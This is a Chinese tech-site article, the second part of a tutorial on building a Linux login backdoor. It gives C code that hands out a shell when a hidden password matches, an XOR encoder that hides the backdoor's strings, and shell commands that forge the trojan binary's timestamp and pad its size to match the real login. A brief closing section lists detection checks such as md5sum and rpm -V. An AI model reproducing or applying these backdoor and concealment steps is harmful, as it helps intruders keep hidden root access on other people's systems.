dedecms织梦内容管理系统    
首页 | java | C/C++ | PHP | 操作系统 | ajax | 脚本编程 | 安全技术 | 本站下载页 | flex | CRM | 专题 | QQ群 | 测试中心 | 会员中心 | 积分规则
  当前位置:主页>操作系统>linux>文章内容
黑客高级技巧 Linux后门技术及实践(下)
来源:赛迪网 sixth 作者:yuge

3、修改后门源程序ulogin.c:

 

-- 以密文形式的密码代替ulogin.c中define的宏PASSWORD值。

 

-- 如果后门密码正确,直接给出Shell:

 

 

if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 
{ 
system(SHELL); 
exit(1); 
}

 

用strings命令只能看到加密过的密码。

 

采用异或(XOR)算法,以十六进制方式表示字符串,以达到non- printable的效果。

 

1、编码程序encode.c如下:

 

 

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
char *de(char *str,char *key) 
{ 
int i=0,j=0,len; 
len=strlen(key); 
while(str[i] != '\0') { 
str[i]^=key[j]; 
j++; 
if(j==len) j=0; 
i++; 
} 
return str; 
} 
void display(char *str) 
{ 
int i; 
for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]); 
printf("\n"); 
} 
main() 
{ 
char gets[100], *ptr; 
ptr=gets; 
scanf ("%s",ptr); 
de(ptr,magic);display(ptr); 
}

 

2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:

 

\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb

 

3、在后门源代码中这样定义:

 

Char

login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

 

然后插入异或函数char *de()结合同一magic串,就能判断出正确的后门密码。

 

用strings命令看不到密码、路径等字符串了。

 

最后的修饰

 

使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:

 

在ulogin.c代码中增加一个字符串数组char strings[] ="";,在引号中填入正常login程序的strings输出结果。以假乱真,增加迷惑性。

 

调整后门程序的文件日期、大小等属性:

 

1、日期

 

# ls -l /sbin/xlogin

-r-sr-xr-x root root 19300 Feb 11 1998

/sbin/xlogin

# touch -t 199802110000 ulogin

# _

 

2、调整大小

 

# ls -l ulogin /sbin/xlogin

-r-sr-xr-x root root 7542 Feb 11 1998 ulogin

-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin

# bc

19300-7542

11758

# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1

1+0 records in

1+0 records out

11758 bytes transferred in 0.000379 secs (31016746

bytes/sec)

# cat /tmp/t >> ulogin

 

Login后门的检测

 

使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。

 

使用Red Hat Linux的RPM校验:

 

# rpm -V util-linux

 

在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login -h xxx.xxx.xxx.xxx的字样。


上一篇:黑客高级技巧 Linux后门技术及实践(上)   下一篇:资深Linux程序员的开发经验谈(上)
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论
  热点文章
·Linux常用基本命令及应用技巧
·写得蛮好的linux学习笔记
·学会在Linux下对硬盘分区
·找回Redhat的超级用户密码
·Linux下C语言编程
·GDB教程
·Cron服务配置详解
·Linux与Unix二大操作系统编程的
·Linux 2.6 内核的嵌入式系统应用
·Linux和Windows系统调用的比较
·vim命令(一)
·vim 命令(二)
  相关文章
·黑客高级技巧 Linux后门技术及实
·资深Linux程序员的开发经验谈(上
·Linux系统下C语言编程工具详细介
·资深Linux程序员的开发经验谈(下
·Linux系统下C语言编程工具详细介
·Linux下的C编程实战之开发平台搭
·Linux系统下的C语言开发都需要学
·Linux下的C编程实战之文件系统编
·Linux下的C编程实战之三(上)
·Linux下的C编程实战之三(下)
·Linux下的C编程实战之四(上)
·Linux下的C编程实战之四(下)
  相关信息
copy right @ 百家拳软件项目研究室 2007 辽ICP备07011763